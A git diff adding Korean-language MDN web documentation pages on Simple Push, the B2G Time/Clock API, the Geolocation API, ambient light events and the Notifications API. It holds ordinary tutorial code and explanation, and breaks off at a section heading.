+<h3 id="매니페스트_파일_변경">매니페스트 파일 변경</h3>
+<p>매니페스트 파일에서 두 가지를 수정한다.</p>
+<ol>
+  <li><a href="/docs/Web/Apps/Manifest#messages" title="https://developer.mozilla.org/en-US/docs/Web/Apps/Manifest?redirectlocale=en-US&amp;redirectslug=Apps%2FManifest#messages"><code>messages</code> field</a> - <code>push와</code> <code>push-register</code> 메시지를 더한다.</li>
+  <li><a href="/docs/Web/Apps/Manifest#permissions" title="https://developer.mozilla.org/en-US/docs/Web/Apps/Manifest?redirectlocale=en-US&amp;redirectslug=Apps%2FManifest#permissions"><code>permissions</code> field</a> - 푸시 알림을 받기 원하는 앱에 더한다.</li>
+</ol>
+<pre><span class="s2">"messages"</span><span class="o">:</span> <span class="cp">[</span>
+   <span class="p">{</span> <span class="s2">"push"</span><span class="p">:</span> <span class="s2">"/index.html"</span><span class="p">},</span>
+   <span class="p">{</span> <span class="s2">"push-register"</span><span class="p">:</span> <span class="s2">"/index.html"</span><span class="p">}</span>
+<span class="cp">]</span><span class="o">,</span>
+<span class="s2">"permissions"</span><span class="o">:</span> <span class="p">{</span>
+  <span class="s2">"push"</span><span class="o">:</span> <span class="err">{
+    </span>"description": "Required for be updated with new goals in soccer matchs",<span class="err">
+</span><span class="p">  }</span>
+<span class="err">}</span></pre>
+<h3 id="endpoint_요청을_위한_domxref(PushManager.register)_호출">endpoint 요청을 위한 {{domxref("PushManager.register")}} 호출</h3>
+<p>이 코드는 endpoint를 요청할 시간인지 결정할 때 호출해야 한다. 예를 들어 사용자가 로그인 할 때나 축구 경기를 관전하기 시작할 때를 들 수 있다.</p>
+<pre><span class="k">if</span> <span class="p">(</span><span class="nx">navigator</span><span class="p">.</span><span class="nx">push</span><span class="p">)</span> <span class="p">{</span>
+  <span class="kd">var</span> <span class="nx">req</span> <span class="o">=</span> <span class="nx">navigator</span><span class="p">.</span><span class="nx">push</span><span class="p">.</span><span class="nx">register</span><span class="p">();</span>
+
+  <span class="nx">req</span><span class="p">.</span><span class="brush: js">onsuccess</span> <span class="o">=</span> <span class="kd">function</span><span class="p">(</span><span class="nx">e</span><span class="p">)</span> <span class="p">{</span>
+    <span class="kd">var</span> <span class="nx">endpoint</span> <span class="o">=</span> <span class="nx">req</span><span class="p">.</span><span class="nx">result</span><span class="p">;</span>
+      <span class="nx">debug</span><span class="p">(</span><span class="s2">"New endpoint: "</span> <span class="o">+</span> <span class="nx">endpoint</span> <span class="p">);</span>
+    <span class="p">}</span>
+
+   <span class="nx">req</span><span class="p">.</span><span class="nx">onerror</span> <span class="o">=</span> <span class="kd">function</span><span class="p">(</span><span class="nx">e</span><span class="p">)</span> <span class="p">{</span>
+     <span class="nx">debug</span><span class="p">(</span><span class="s2">"Error getting a new endpoint: "</span> <span class="o">+</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">(</span><span class="nx">e</span><span class="p">));</span>
+   <span class="p">}</span>
+<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
+  <span class="c1">// No push on the DOM</span>
+<span class="p">}</span></pre>
+<h3 id="endpoint를_서버에_보내기">endpoint를 서버에 보내기</h3>
+<p>endpoint를 갖게 되면, 어플리케이션 서버에 보내야 한다. 한 가지 방법만 있는 건 아닌데, 선호하는 방법으로 할 수 있으므로, 예를 들어 이메일을 보내거나 <code>POST</code>, <code>PUT</code>이나 <code>GET</code> 방식을 사용할 수도 있다. 추천하는 방법은 어플리케이션에서 사용자 데이터와 함께 endpoint를 저장하는 방식으로, 쿠키, 사용자 이름같이 endpoint와 사용자 쌍을 식별하는데 사용할 수 있다면 무엇이든 좋다.</p>
+<p>하지만 서버에 보낸다면, 다음의 좋은 사례를 따르기를 권한다.</p>
+<ol>
+  <li>XMLHttpRequest로 보낸다.</li>
+  <li>항상 HTTPS를 사용한다. 누군가 endpoint를 가로채면, 앱에 알림을 보낼 수 있다.</li>
+  <li>쿠키와 같이, endpoint에 사용자(또는 어플리케이션 설치)와 맞춰볼 수 있는 무언가를 사용한다.</li>
+</ol>
+<h3 id="메시지_핸들러_더하기">메시지 핸들러 더하기</h3>
+<p>endpoint를 설정하면, 앱이 푸시 메시지를 들을 준비가 된다. <code>index.html</code> 파일이나 <code>main.js 스크립트에 등록할 수 있는데</code>, 스크립트만 있다면 특정<code> push-message.html 파일이 될 수도 있다.</code> 이 방식은 <code>push 메시지를 받고 앱이 종료하는 경우 유용한데,</code>HTML/자바스크립트 코드의 작은 부분만 로드한 상태로 앱이 완전히 열릴지 혹은 백그라운드에서 어떤 작업을 할지 결정할 수 있기 때문이다.</p>
+<pre><span class="k">if</span> <span class="p">(</span><span class="nb">window</span><span class="p">.</span><span class="nx">navigator</span><span class="p">.</span><span class="nx">mozSetMessageHandler</span><span class="p">)</span> <span class="p">{</span>
+  <span class="nb">window</span><span class="p">.</span><span class="nx">navigator</span><span class="p">.</span><span class="nx">mozSetMessageHandler</span><span class="p">(</span><span class="s1">'push'</span><span class="p">,</span> <span class="kd">function</span><span class="p">(</span><span class="nx">e</span><span class="p">)</span> <span class="p">{</span>
+    <span class="nx">debug</span><span class="p">(</span><span class="s1">'My endpoint is '</span> <span class="o">+</span> <span class="nx">e</span><span class="p">.</span><span class="nx">pushEndpoint</span><span class="p">);</span>
+    <span class="nx">debug</span><span class="p">(</span><span class="s1">'My new version is '</span> <span class="o">+</span>  <span class="nx">e</span><span class="p">.</span><span class="nx">version</span><span class="p">);</span>
+    <span class="c1">//Remember that you can handle here if you have more than</span>
+    <span class="c1">//one pushEndpoint</span>
+    <span class="k">if</span> <span class="p">(</span><span class="nx">e</span><span class="p">.</span><span class="nx">pushEndpoint</span> <span class="o">===</span> <span class="nx">emailEndpoint</span><span class="p">)</span> <span class="p">{</span>
+      <span class="nx">emailHandler</span><span class="p">(</span><span class="nx">e</span><span class="p">.</span><span class="nx">version</span><span class="p">);</span>
+    <span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="nx">e</span><span class="p">.</span><span class="nx">pushEndpoint</span> <span class="o">===</span> <span class="nx">imEndpoint</span><span class="p">)</span> <span class="p">{</span>
+      <span class="nx">imHandler</span><span class="p">(</span><span class="nx">e</span><span class="p">.</span><span class="nx">version</span><span class="p">);</span>
+    <span class="p">}</span>
+  <span class="p">});</span>
+<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
+  <span class="c1">// No message handler</span>
+<span class="p">}</span></pre>
+<h3 id="알림_보내기">알림 보내기</h3>
+<p>서버에 <code>endpoint</code>를 가지면, 알림을 보내는 작업은 body에 <code>version=&lt;version&gt;</code>를 가지고 endpoint에 <code>HTTP PUT</code> 요청을 보내는 일만큼 쉽다. 다음과 같이 URL을 갖는 endpoint를 가정하자.</p>
+<p><code>https://push.src.openwebdevice.com/v1/notify/abcdef01234567890abcdefabcdef01234567890abcdef</code></p>
+<p>그리고 버전은 5이다.</p>
+<p><code>version=5</code></p>
+<p>컬로 다음 명령을 내리자.</p>
+<p><code>curl -X PUT -d "version=5" https://push.src.openwebdevice.com/v1/notify/abcdef01234567890abcdefabcdef01234567890abcdef</code></p>
+<p>서버가 올바르게 동작하면, <code>200 Status (OK)</code>와 <code>{}</code>인 body를 응답으로 받게 된다. 그렇지 않으면, 오류를 설명하는 유효한 JSON 객체를 받게 된다.</p>
+<p>버전은 정수이고 증가한다는 점을 기억하자. 어플리케이션은 새로운 버전이 서버나 단말기에 저장된 버전보다 낮으면 알림을 <em>받지 않는다</em>.</p>
+<h2 id="Specifications">Specifications</h2>
+<p>{{page("/en-US/docs/Web/API/PushManager","Specifications")}}</p>
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+<p>{{page("/en-US/docs/Web/API/PushManager","Browser_compatibility")}}</p>
+<h2 id="See_also">See also</h2>
+<ul>
+  <li>{{domxref("PushManager")}}</li>
+  <li>{{domxref("window.navigator.push","navigator.push")}}</li>
+  <li><a href="https://github.com/frsela/pushJSlibrary" title="https://github.com/frsela/pushJSlibrary">pushJSLibrary, a push shim for browsers that do not implement the API</a></li>
+</ul>
diff --git a/files/ko/webapi/time_and_clock/index.html b/files/ko/webapi/time_and_clock/index.html
new file mode 100644
index 0000000000..808dbc7ffc
--- /dev/null
+++ b/files/ko/webapi/time_and_clock/index.html
@@ -0,0 +1,29 @@
+---
+title: 시간과 시계
+slug: WebAPI/Time_and_Clock
+translation_of: Archive/B2G_OS/API/Time_and_Clock_API
+---
+<p>{{ non-standard_header() }}</p>
+<p>{{ B2GOnlyHeader2('certified') }}</p>
+<h2 id="요약">요약</h2>
+<p>Time/Clock API로 시스템 시간을 쉽게 바꿀 수 있습니다.</p>
+<h2 id="개요">개요</h2>
+<p><span style="line-height: inherit;">이 API는 {{domxref("window.navigator.mozTime","navigator.mozTime")}} </span><span style="line-height: inherit;">을 통해 리턴되는, {{domxref("MozTimeManager")}} </span><span style="line-height: inherit;">객체를 통해 접근할 수 있습니다. 해당 객체는 하나의 {{domxref("MozTimeManager.set()","set()")}} </span><span style="line-height: inherit;">메서드를 가지고 있습니다.</span></p>
+<p><span style="line-height: inherit;">{{domxref("MozTimeManager.set()","set()")}} 메서드는 시스템 시간을 변경하는데 이용됩니다. 파라미터로는 숫자(=Number) 객체 또는 Date 객체가 사용됩니다. 만약 숫자 객체가 사용된다면 해당 숫자는 UTC 1970년 1월 1일 부터의 밀리초를 의미합니다.</span></p>
+<p>시간이 변경될 때마다 이벤트가 발생하게 됩니다. 이 이벤트는 window 객체에서 {{domxref("EventTarget.addEventListener","addEventListener")}}  메서드 를 통해(이벤트명은  {{event("moztimechange")}}) 처리하거나, 또는 {{domxref("window.onmoztimechange")}} 속성에 이벤트 핸들러를 연결함으로써 처리할 수 있습니다.</p>
+<div class="note">
+  <p><strong>주:</strong> 기기의 시간대는 <a href="https://developer.mozilla.org/en-US/docs/WebAPI/Settings" title="https://developer.mozilla.org/en-US/docs/WebAPI/Settings">Settings API</a>로 바꿔야 합니다.</p>
+</div>
+<h2 id="예시">예시</h2>
+<pre class="brush: js">function setTime(time) {
+  navigator.mozTime.set(time);
+}
+
+window.addEventListener('moztimechange', function () {
+  console.log('시간이 바뀜');
+});
+
+setTime(new Date());
+</pre>
+<h2 id="표준">표준</h2>
+<p>어느 표준에도 들어있지 않음</p>
diff --git a/files/ko/webapi/using_geolocation/index.html b/files/ko/webapi/using_geolocation/index.html
new file mode 100644
index 0000000000..e5f9913376
--- /dev/null
+++ b/files/ko/webapi/using_geolocation/index.html
@@ -0,0 +1,165 @@
+---
+title: Geolocation API 사용하기
+slug: WebAPI/Using_geolocation
+tags:
+  - Geolocation API
+  - Guide
+  - Intermediate
+translation_of: Web/API/Geolocation_API/Using_the_Geolocation_API
+---
+<p>{{securecontext_header}}{{APIRef("Geolocation API")}}<br>
+ <strong>Geolocation API</strong>는 사용자의 현재 위치를 가져오는 API로, 지도에 사용자 위치를 표시하는 등 다양한 용도로 사용할 수 있습니다. 이 안내서는 Geolocation API의 기초적 사용법을 설명합니다.</p>
+
+<h2 id="geolocation_객체"><code>geolocation</code> 객체</h2>
+
+<p><a href="/ko/docs/Web/API/Geolocation_API">Geolocation API</a>는 {{domxref("navigator.geolocation")}} 객체를 통해 사용할 수 있습니다.</p>
+
+<p><code>geolocation</code> 객체가 존재하는 경우 위치 정보 서비스를 지원하는 것입니다. 존재 여부는 다음과 같이 알아낼 수 있습니다.</p>
+
+<pre class="brush: js">if('geolocation' in navigator) {
+  /* 위치정보 사용 가능 */
+} else {
+  /* 위치정보 사용 불가능 */
+}
+</pre>
+
+<h3 id="현재_위치_가져오기">현재 위치 가져오기</h3>
+
+<p>{{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}} 메서드를 호출해서 사용자의 현재 위치를 얻을 수 있습니다. <code>getCurrentPosition()</code>은 사용자의 위치를 탐지하는 비동기 요청을 초기화하고, 위치 관련 하드웨어에 최신 정보를 요청합니다. 위치를 알아낸 후에는 지정한 콜백 함수를 호출합니다. 선택적으로, 이 과정 중 오류가 발생하면 호출할 오류 콜백을 두 번째 매개변수로 지정할 수도 있습니다. 세 번째 매개변수 역시 선택 항목이며, 위치 정보의 최대 수명, 요청의 최대 대기시간, 고정밀 위치정보 여부 등의 옵션을 담은 객체입니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> {{domxref("Geolocation.getCurrentPosition", "getCurrentPosition()")}}의 기본값에서는 최대한 빠르게 낮은 정밀도의 응답을 반환합니다. 정확하지 않더라도 빠른 정보가 필요한 상황에서 유용합니다. 예를 들어, GPS 기능을 가진 장비는 보정 과정에 수 분이 걸릴 수도 있으므로 IP 위치와 WiFi 등 정확하지 않은 출처에 기반한 위치 정보를 반환할 수 있습니다.</p>
+</div>
+
+<pre class="brush: js">navigator.geolocation.getCurrentPosition((position) =&gt; {
+  doSomething(position.coords.latitude, position.coords.longitude);
+});</pre>
+
+<p>위의 예제는 사용자 위치가 확인되면 <code>doSomething()</code> 함수를 실행합니다.</p>
+
+<h3 id="현재_위치_추적하기">현재 위치 추적하기</h3>
+
+<p>장치가 이동했거나 더 정확한 정보를 사용할 수 있어서 위치 정보가 바뀐 경우 호출할 콜백 함수를 {{domxref("Geolocation.watchPosition","watchPosition()")}} 메서드로 설정할 수 있으며, {{domxref("Geolocation.getCurrentPosition","getCurrentPosition()")}}과 같은 매개변수를 받습니다. 콜백은 계속해서 호출될 수 있으므로, 브라우저가 사용자의 이동 시, 또는 고정밀 위치 기술을 사용할 수 있는 시점에 새로운 위치 정보를 제공할 수 있습니다. <code>getCurrentPosition()</code>과 마찬가지로 선택 사항인 오류 콜백 역시 여러 번 호출할 수 있습니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> {{domxref("Geolocation.getCurrentPosition", "getCurrentPosition()")}}을 먼저 호출하지 않고도 {{domxref("Geolocation.watchPosition", "watchPosition()")}}을 사용할 수 있습니다.</p>
+</div>
+
+<pre class="brush: js">const watchID = navigator.geolocation.watchPosition((position) =&gt; {
+  doSomething(position.coords.latitude, position.coords.longitude);
+});</pre>
+
+<p>{{domxref("Geolocation.watchPosition","watchPosition()")}} 메서드는 위치 추적 요청의 고유 식별자를 나타내는 숫자값을 반환합니다. 해당 식별자를 {{domxref("Geolocation.clearWatch","clearWatch()")}} 메서드에 전달해서 추적을 종료할 수 있습니다.</p>
+
+<pre class="brush: js">navigator.geolocation.clearWatch(watchID);
+</pre>
+
+<h3 id="응답_미세_조정">응답 미세 조정</h3>
+
+<p>{{domxref("Geolocation.getCurrentPosition","getCurrentPosition()")}}과 {{domxref("Geolocation.watchPosition","watchPosition()")}} 둘 다 성공 콜백, 실패 콜백 외에도 <a href="/ko/docs/Web/API/PositionOptions"><code>PositionOptions</code></a> 객체를 받을 수 있습니다.</p>
+
+<p><code>PositionsOptions</code> 객체를 사용하면 고정밀도 활성화 여부, 위치 정보의 캐시 수명(수명이 끝나기 전까지는 이전에 반환한 위치 정보를 저장해뒀다가, 같은 요청을 또 받을 경우 그대로 반환합니다), 그리고 위치 정보 요청의 응답을 대기할 최대 대기시간을 지정할 수 있습니다.</p>
+
+<p>옵션 객체를 사용한 {{domxref("Geolocation.watchPosition","watchPosition")}}의 호출 예시는 다음과 같습니다.</p>
+
+<pre class="brush: js">function success(position) {
+  doSomething(position.coords.latitude, position.coords.longitude);
+}
+
+function error() {
+  alert('Sorry, no position available.');
+}
+
+const options = {
+  enableHighAccuracy: true,
+  maximumAge: 30000,
+  timeout: 27000
+};
+
+const watchID = navigator.geolocation.watchPosition(success, error, options);</pre>
+
+<h2 id="위치_표현">위치 표현</h2>
+
+<p>사용자의 위치는 {{domxref("GeolocationPosition")}} 객체를 담은 {{domxref("GeolocationCoordinates")}} 객체를 사용하여 표현합니다.</p>
+
+<p><code>GeolocationPosition</code>은 단 두 가지만 가집니다. 하나는 <code>GeolocationCoordinates</code> 인스턴스를 가진 <code>coords</code> 속성이고, 다른 하나는 위치 정보의 기록 시점을 나타내는 {{domxref("DOMTimeStamp")}} 인스턴스입니다.</p>
+
+<p>GeolocationCoordinates 인스턴스는 다수의 속성을 갖지만, 그 중 가장 많이 쓰게 될 항목은 지도의 지점을 가리킬 때 사용할 <code>latitude</code>와 <code>longitude</code>입니다. 따라서 대부분의 <code>Geolocation</code> 성공 콜백은 아래와 같이 꽤 간단한 형태입니다.</p>
+
+<pre class="brush: js">function success(position) {
+  const latitude  = position.coords.latitude;
+  const longitude = position.coords.longitude;
+
+  // Do something with your latitude and longitude
+}</pre>
+
+<p>그러나 <code>GeolocationCoordinates</code> 객체에서 고도, 속도, 장치의 방향, 위경도와 고도의 정확도 등 다른 다양한 정보도 가져올 수 있습니다.</p>
+
+<h2 id="오류_처리">오류 처리</h2>
+
+<p><code>getCurrentPosition()</code> 또는 <code>watchPosition()</code>에 오류 콜백을 제공한 경우, 콜백은 첫 번째 매개변수로 <a href="/ko/docs/Web/API/GeolocationPositionError"><code>GeolocationPositionError</code></a> 객체를 받습니다. 해당 객체는 오류의 유형을 나타내는 <code>code</code> 속성과, 사람이 읽을 수 있는 형태로 오류 코드의 뜻을 설명한 <code>message</code> 속성을 갖습니다.</p>
+
+<p>다음 형태로 사용할 수 있습니다.</p>
+
+<pre class="brush: js">function errorCallback(error) {
+  alert(`ERROR(${error.code}): ${error.message}`);
+};</pre>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제는 Geolocation API를 사용해 사용자의 위경도를 가져옵니다. 성공한 경우, 사용자의 위치를 가리키는 <code>openstreetmap.org</code> 링크를 생성해 하이퍼링크에 할당합니다.</p>
+
+<div class="hidden">
+<pre class="brush: css">body {
+  padding: 20px;
+  background-color:#ffffc9
+}
+
+button {
+  margin: .5rem 0;
+}</pre>
+</div>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;button id = "find-me"&gt;Show my location&lt;/button&gt;&lt;br/&gt;
+&lt;p id = "status"&gt;&lt;/p&gt;
+&lt;a id = "map-link" target="_blank"&gt;&lt;/a&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">function geoFindMe() {
+
+  const status = document.querySelector('#status');
+  const mapLink = document.querySelector('#map-link');
+
+  mapLink.href = '';
+  mapLink.textContent = '';
+
+  function success(position) {
+    const latitude  = position.coords.latitude;
+    const longitude = position.coords.longitude;
+
+    status.textContent = '';
+    mapLink.href = `https://www.openstreetmap.org/#map=18/${latitude}/${longitude}`;
+    mapLink.textContent = `Latitude: ${latitude} °, Longitude: ${longitude} °`;
+  }
+
+  function error() {
+    status.textContent = 'Unable to retrieve your location';
+  }
+
+  if(!navigator.geolocation) {
+    status.textContent = 'Geolocation is not supported by your browser';
+  } else {
+    status.textContent = 'Locating…';
+    navigator.geolocation.getCurrentPosition(success, error);
+  }
+
+}
+
+document.querySelector('#find-me').addEventListener('click', geoFindMe);</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample('예제', 350, 150)}}</p>
diff --git a/files/ko/webapi/using_light_events/index.html b/files/ko/webapi/using_light_events/index.html
new file mode 100644
index 0000000000..b033d4f80d
--- /dev/null
+++ b/files/ko/webapi/using_light_events/index.html
@@ -0,0 +1,64 @@
+---
+title: Using Light Events
+slug: WebAPI/Using_Light_Events
+tags:
+  - Ambient Light
+translation_of: Web/API/Ambient_Light_Events
+---
+<div>{{DefaultAPISidebar("Ambient Light Events")}}{{SeeCompatTable}}</div>
+
+<p>주변의 빛을 감지하는 이벤트를 활용해서 웹페이지나 어플리케이션이 주변 빛의 세기를 감지할 수 있습니다. 사용자 인터페이스의 색상 대비나 사진의 노출을 변경하는 용도로 사용할 수 있습니다.</p>
+
+<h2 id="빛_이벤트">빛 이벤트</h2>
+
+<p>기기의 빛 센서가 빛의 변화를 감지하면 브라우저에 변화를 전달합니다. 브라우저가 이러한 알림을 받으면 정확한 빛의 세기를 알려주는 {{domxref("DeviceLightEvent")}} 이벤트를 발생시킵니다.</p>
+
+<p>이 이벤트는 {{domxref("EventTarget.addEventListener","addEventListener")}} 메서드 ({{event("devicelight")}} 이벤트 이름 사용)를 사용하거나 {{domxref("window.ondevicelight")}} 속성에 이벤트 핸들러를 사용함으로서 <code>window</code> 객체 수준에서 캡춰됩니다.</p>
+
+<p>캡춰가 되면 이벤트 객체의 {{domxref("DeviceLightEvent.value")}} 속성을 통해서 럭스(lux) 단위의 빛의 세기를 사용할 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">window.addEventListener('devicelight', function(event) {
+  var html = document.getElementsByTagName('html')[0];
+
+  if (event.value &lt; 50) {
+    html.classList.add('darklight');
+    html.classList.remove('brightlight');
+  } else {
+    html.classList.add('brightlight');
+    html.classList.remove('darklight');
+  }
+});</pre>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('AmbientLight', '', 'Ambient Light Events') }}</td>
+   <td>{{ Spec2('AmbientLight') }}</td>
+   <td>Initial specification</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.DeviceLightEvent")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("DeviceLightEvent")}}</li>
+ <li>{{event("devicelight")}}</li>
+</ul>
diff --git a/files/ko/webapi/using_web_notifications/index.html b/files/ko/webapi/using_web_notifications/index.html
new file mode 100644
index 0000000000..351361d2af
--- /dev/null
+++ b/files/ko/webapi/using_web_notifications/index.html
@@ -0,0 +1,265 @@
+---
+title: 알림 API 사용하기
+slug: WebAPI/Using_Web_Notifications
+translation_of: Web/API/Notifications_API/Using_the_Notifications_API
+---
+<p>{{APIRef("Web Notifications")}}{{AvailableInWorkers}}{{securecontext_header}}</p>
+
+<p>웹 페이지나 앱에서 <a href="/ko/docs/Web/API/Notifications_API">알림(Notifications) API</a>를 사용하면 페이지 외부에 표시되는 알림을 보낼 수 있습니다. 이것은 시스템 레벨에서 처리되는 것으로 애플리케이션이 유휴 상태거나 백그라운드에 있더라도 웹 앱이 사용자에게 정보를 보낼 수 있습니다. 이 글에서는 여러분의 앱에서 이 API를 사용하기 위한 기초를 알아봅니다.</p>
+
+<p>일반적으로 시스템 알림은 운영 체계의 표준 알림 메커니즘을 말합니다. 예를 들어 일반적인 데스크톱 시스템이나 모바일 장치의 브로드캐스트 알림을 생각해봅시다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/10959/android-notification.png" style="display: block; height: 184px; margin: 0px auto; width: 300px;"></p>
+
+<p>물론 시스템 알림 시스템은 플랫폼 및 브라우저에 따라 다양하지만 괜찮습니다. 알림 API는 범용적으로 작성돼서 대부분의 시스템 알림 시스템과 호환됩니다.</p>
+
+<h2 id="예시">예시</h2>
+
+<p>웹 알림의 대표적인 사용 사례는 웹 기반 메일이나 IRC 애플리케이션입니다. 새 메시지가 도착하면 사용자가 다른 애플리케이션으로 다른 일을 하더라도 사용자에게 알릴 필요가 있습니다. 요즘은 <a href="https://slack.com/">Slack</a> 등 이러한 사례를 많이 찾아볼 수 있습니다.</p>
+
+<p>우리는 웹 알림을 사용하는 방법을 좀더 잘 알 수 있도록 실제적인 예시 — 할 일 목록 앱 —를 작성했습니다. 데이터는 로컬에서 <a href="/ko/docs/Web/API/IndexedDB_API">IndexedDB</a>로 저장하고 사용자 알림은 할 일 기한이 됐을 때 시스템 알림을 사용합니다. <a href="https://github.com/mdn/to-do-notifications/tree/gh-pages">할 일 목록 코드를 다운로드하거나</a>, <a href="https://mdn.github.io/to-do-notifications/">앱의 라이브 실행을 보세요</a>.</p>
+
+<h2 id="권한_요청하기">권한 요청하기</h2>
+
+<p><span style="line-height: inherit;">앱이 알림을 보내려면 먼저 사용자가 애플리케이션에 해당 권한을 허용해줘야 합니다. 이는 API가 웹페이지 외부와 상호작용할 때 통상적인  요구 사항입니다. 최소 한번은 사용자가 해당 애플리케이션이 알림을 표시할 수 있는 권한을 허용해줄 필요가 있으며 이로써 사용자는 어떤 앱/사이트가 알림을 보일 수 있는지 제어할 수 있습니다.</span></p>
+
+<p><span style="line-height: inherit;">과거에 푸시 알림에 대한 악용 때문에 웹 브라우저와 개발자는 그런 문제를 완화할 수 있는 전략을 구현하게 되었습니다. 알림을 발생시키려면 사용자 제스처(예: 단추 클릭)에 대한 응답으로만 가능합니다. 이것은 모범적인 방식일 뿐 아니라 </span>— 사용자에게 미동의 알림으로 스팸을 보내면 안됩니다 — 실제로도 전향적인 브라우저는 사용자 제스처에 대한 응답으로 촉발되지 않은 알림은 명시적으로 불허합니다. 파이어폭스는 이미 72 버전부터 이렇게 하고 있으며 사파리도 하고 있습니다.</p>
+
+<p>또한 크롬과 파이어폭스에서는 사이트가 보안 콘텍스트(즉, HTTPS)가 아니면 알림을 아예 요청할 수 없으며 크로스 오리진 {{htmlelement("iframe")}}으로부터의 알림 권한은 요청할 수 없게 되었습니다. </p>
+
+<h3 id="현재_권한_상태_확인하기">현재 권한 상태 확인하기</h3>
+
+<p><span style="line-height: inherit;">권한을 이미 가지고 있는지 확인하려면 </span>{{domxref("Notification.permission")}} 읽기 전용 속성의 값을 확인하면 됩니다. 다음 세 가지 값이 있을 수 있습니다.</p>
+
+<dl>
+ <dt><code>default</code></dt>
+ <dd>사용자에게 아직 권한을 요구하지 않았으며 따라서 알림을 표시하지 않습니다.</dd>
+ <dt><code>granted</code></dt>
+ <dd>사용자에게 알림 표시 권한을 요구했으며 사용자는 권한을 허용했습니다.</dd>
+ <dt><code>denied</code></dt>
+ <dd>사용자가 명시적으로 알림 표시 권한을 거부했습니다.</dd>
+</dl>
+
+<h3 id="권한_획득하기">권한 획득하기</h3>
+
+<p>아직 알림 표시 권한이 허용되지 않았다면 애플리케이션은 {{domxref("Notification.requestPermission()")}} 메서드를 사용하여 사용자에게 권한을 요청할 필요가 있습니다. 간단하게는 아래와 같이 넣습니다.</p>
+
+<pre>Notification.requestPermission().then(function(result) {
+  console.log(result);
+});</pre>
+
+<p>여기서는 프로미스 방식의 메서드 버전을 사용합니다. 과거 버전을 지원하려면 아래와 같이 과거의 콜백 버전을 사용해야 할 수 있습니다.</p>
+
+<pre>Notification.requestPermission();</pre>
+
+<p>콜백 버전은 콜백 함수를 옵셔널하게 받을 수 있으며 사용자가 표시 권한 요청에 응답한 후에 호출됩니다.</p>
+
+<h3 id="예시_2">예시</h3>
+
+<p>우리가 만드는 할 일 데모에서는 "알림 허용" 단추를 둬서 누르면 앱의 알림 권한을 요청합니다.</p>
+
+<pre>&lt;button id="enable"&gt;알림 허용&lt;/button&gt;</pre>
+
+<p>누르면 다음 <code>askNotificationPermission()</code> 함수를 호출합니다.</p>
+
+<pre>function askNotificationPermission() {
+  // 권한을 실제로 요구하는 함수
+  function handlePermission(permission) {
+    // 사용자의 응답에 관계 없이 크롬이 정보를 저장할 수 있도록 함
+    if(!('permission' in Notification)) {
+      Notification.permission = permission;
+    }
+
+    // 사용자 응답에 따라 단추를 보이거나 숨기도록 설정
+    if(Notification.permission === 'denied' || Notification.permission === 'default') {
+      notificationBtn.style.display = 'block';
+    } else {
+      notificationBtn.style.display = 'none';
+    }
+  }
+
+  // 브라우저가 알림을 지원하는지 확인
+  if (!('Notification' in window)) {
+    console.log("이 브라우저는 알림을 지원하지 않습니다.");
+  } else {
+    if(checkNotificationPromise()) {
+      Notification.requestPermission()
+      .then((permission) =&gt; {
+        handlePermission(permission);
+      })
+    } else {
+      Notification.requestPermission(function(permission) {
+        handlePermission(permission);
+      });
+    }
+  }
+}</pre>
+
+<p>두 번째 메인 블록을 먼저 보면 알림이 지원되는지 확인하는 것을 알 수 있습니다. 지원하는 경우 그에 따라 <code>Notification.requestPermission()</code>의 프로미스 기반 버전이 지원되는지 보는 확인을 실행합니다. 맞다면 프로미스 기반 버전을 실행하고(사파리 외에는 전부 지원됨) 아니라면 과거의 콜백 기반 버전을 실행합니다(사파리에서 지원).</p>
+
+<p>코드 중복을 피하기 위해 뒷 처리 수행 코드를 <code>handlePermission()</code> 함수에 넣었는데 이 함수가 코드에서 첫 번째 메인 블록입니다. 그 안에서는 <code>Notification.permission</code> 값을 명시적으로 설정하고(크롬의 일부 과거 버전에서는 이게 자동으로 안됩니다) 사용자가 권한 대화창에서 선택한 결과에 따라 단추를 보이거나 숨깁니다. 권한이 이미 허용됐는지 보여주려는 것은 아니고 사용자가 권한을 거부한 경우 나중에 다시 선택할 수 있도록 해주는 것입니다.</p>
+
+<p><strong>참고:</strong> 크롬 37 버전 전에는 <code>load</code> 이벤트 핸들러에서 {{domxref("Notification.requestPermission()")}}을 호출할 수 없었습니다(<a href="https://code.google.com/p/chromium/issues/detail?id=274284" title="https://code.google.com/p/chromium/issues/detail?id=274284">이슈 274284</a> 참고).</p>
+
+<h3 id="requestPermission_프로미스_기능_알아내기">requestPermission() 프로미스 기능 알아내기</h3>
+
+<p>위에서 우리는 브라우저가 <code>Notification.requestPermission()</code>의 프로미스 버전을 지원하는지 확인해야 한다고 했습니다. 아래와 같이 했습니다.</p>
+
+<pre>function checkNotificationPromise() {
+    try {
+      Notification.requestPermission().then();
+    } catch(e) {
+      return false;
+    }
+
+    return true;
+  }</pre>
+
+<p>기본적으로 <code>requestPermission()</code>에 <code>.then()</code> 메서드가 있는지 알아보는 것입니다. 맞다면 계속 진행하고 <code>true</code>를 반환합니다. 실패라면 <code>catch() {}</code> 블록에서 <code>false</code>를 반환합니다.</p>
+
+<h2 id="알림_만들기">알림 만들기 </h2>
+
